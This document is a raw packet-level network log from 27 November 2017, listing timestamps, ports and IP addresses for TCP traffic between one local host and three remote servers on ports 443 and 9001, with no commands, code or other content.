Nov 27, 2017 12:34:55.685192108 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.692017078 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.692289114 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.692322016 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.699243069 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.699574947 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.699614048 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:55.706276894 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:55.706302881 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:55.706521034 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:55.720012903 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:55.720060110 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:55.898293972 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:55.962802887 CET	9001	49172	31.171.155.108	192.168.1.91
Nov 27, 2017 12:34:55.976541996 CET	49172	9001	192.168.1.91	31.171.155.108
Nov 27, 2017 12:34:55.976576090 CET	9001	49172	31.171.155.108	192.168.1.91
Nov 27, 2017 12:34:56.036467075 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.112113953 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.112155914 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.303889990 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.376218081 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.376259089 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.376414061 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.376446962 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.405746937 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.405786991 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.406337976 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.406375885 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.420195103 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.420243025 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.420305014 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.420331001 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.428736925 CET	9001	49172	31.171.155.108	192.168.1.91
Nov 27, 2017 12:34:56.428775072 CET	9001	49172	31.171.155.108	192.168.1.91
Nov 27, 2017 12:34:56.428953886 CET	49172	9001	192.168.1.91	31.171.155.108
Nov 27, 2017 12:34:56.437374115 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.437416077 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.437561035 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.437591076 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.444550991 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.444776058 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.444809914 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.472855091 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.472897053 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.473083019 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.473146915 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.490552902 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.490597010 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.490735054 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.490767002 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.497628927 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.497668982 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.497788906 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.497817993 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.508752108 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.508779049 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.511673927 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.511708975 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.511799097 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.511817932 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.528192043 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.528224945 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.528364897 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.528403997 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.529351950 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.529381990 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.529529095 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.529565096 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.533535004 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.533979893 CET	49172	9001	192.168.1.91	31.171.155.108
Nov 27, 2017 12:34:56.534019947 CET	9001	49172	31.171.155.108	192.168.1.91
Nov 27, 2017 12:34:56.534445047 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.535058975 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.535087109 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.541397095 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.550364017 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.550398111 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.550676107 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.550698996 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.578485966 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.578512907 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.578527927 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.578620911 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.578645945 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.588718891 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.588839054 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.588852882 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.589715004 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.589724064 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.589869022 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.589885950 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.607234955 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.607270002 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.607420921 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.607461929 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.607728958 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.619505882 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.619537115 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.619564056 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.619740009 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.627213955 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.628827095 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.629281044 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.630280972 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.631577015 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.631644964 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.631664038 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.631776094 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.634217978 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.641401052 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.641438007 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.641532898 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.641556025 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.656661987 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.656791925 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.656815052 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.657960892 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.657993078 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.658051014 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.658067942 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.671747923 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.671797991 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.671916962 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.671962023 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.678872108 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.678914070 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.679004908 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.679049015 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.696667910 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.696710110 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.696787119 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.696810007 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.701069117 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.701087952 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.702121019 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.709487915 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.716108084 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.716244936 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.716284037 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.717098951 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.717130899 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.717211962 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.717231035 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.729428053 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.729475021 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.729484081 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.729609966 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.729636908 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.736583948 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.736630917 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.736736059 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.736763954 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.746251106 CET	9001	49172	31.171.155.108	192.168.1.91
Nov 27, 2017 12:34:56.746973038 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.747003078 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.747107029 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.747133017 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.763259888 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.763304949 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.763406992 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.763427973 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.779205084 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.779243946 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.779253006 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.779315948 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.779350042 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.781307936 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.781338930 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.781400919 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.781419039 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.797228098 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.797270060 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.797298908 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.797396898 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.797435999 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.804141998 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.804184914 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.804260015 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.804285049 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.820625067 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.820647001 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.820661068 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.820813894 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.820859909 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.822875023 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.822890043 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.823010921 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.823048115 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.834588051 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.834625959 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.834683895 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.834702015 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.848563910 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.848601103 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.848673105 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.848691940 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.850135088 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.850171089 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.850191116 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.850208044 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.850363970 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.858886957 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.863651991 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.863681078 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.863766909 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.863792896 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.870390892 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.870414019 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.870914936 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.874952078 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.874968052 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.874985933 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.875022888 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.882256031 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.882277966 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.882369995 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.882390022 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.896725893 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.896759987 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.896836996 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.896859884 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.904169083 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.904192924 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.905689955 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.905720949 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.905745029 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.905760050 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.905874968 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.908474922 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.914711952 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.914748907 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.914767027 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.914784908 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.914870977 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.915501118 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.915528059 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.915540934 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.915565968 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.928448915 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.928478003 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.928538084 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.928560019 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.930002928 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.930043936 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.930088043 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.930104971 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.936307907 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.940051079 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.940087080 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.940108061 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.940203905 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.947320938 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.947354078 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.947364092 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.947462082 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.948213100 CET	49172	9001	192.168.1.91	31.171.155.108
Nov 27, 2017 12:34:56.954518080 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.954555988 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.954576969 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.954626083 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.962066889 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.962121964 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.962166071 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.962183952 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.962311029 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.972074986 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.972115993 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.972131968 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.972183943 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.976083994 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.976167917 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.976200104 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.979084969 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.979173899 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.979187965 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.984126091 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.984169006 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.984215021 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.984232903 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.984360933 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:56.986974955 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.987019062 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.987044096 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:56.987155914 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.000760078 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.013921022 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.014597893 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.041012049 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.041134119 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.070075989 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.070105076 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.070113897 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.070223093 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.088623047 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.111346006 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.111393929 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.111768961 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.111792088 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.118344069 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.118364096 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.118576050 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.118624926 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.150553942 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.150589943 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.150763035 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.150789022 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.169853926 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.169899940 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.170056105 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.170078039 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.198633909 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.198666096 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.198683023 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.198772907 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.198792934 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.205696106 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.205739975 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.205781937 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.205800056 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.206391096 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.215864897 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.223089933 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.223123074 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.223134041 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.223171949 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.223181009 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.223206043 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.223664045 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.236433983 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.236473083 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.236484051 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.236555099 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.243530035 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.243575096 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.243592978 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.243757010 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.250974894 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.255642891 CET	49170	443	192.168.1.91	185.100.86.100
Nov 27, 2017 12:34:57.256207943 CET	443	49170	185.100.86.100	192.168.1.91
Nov 27, 2017 12:34:57.256231070 CET	443	49170	185.100.86.100	192.168.1.91
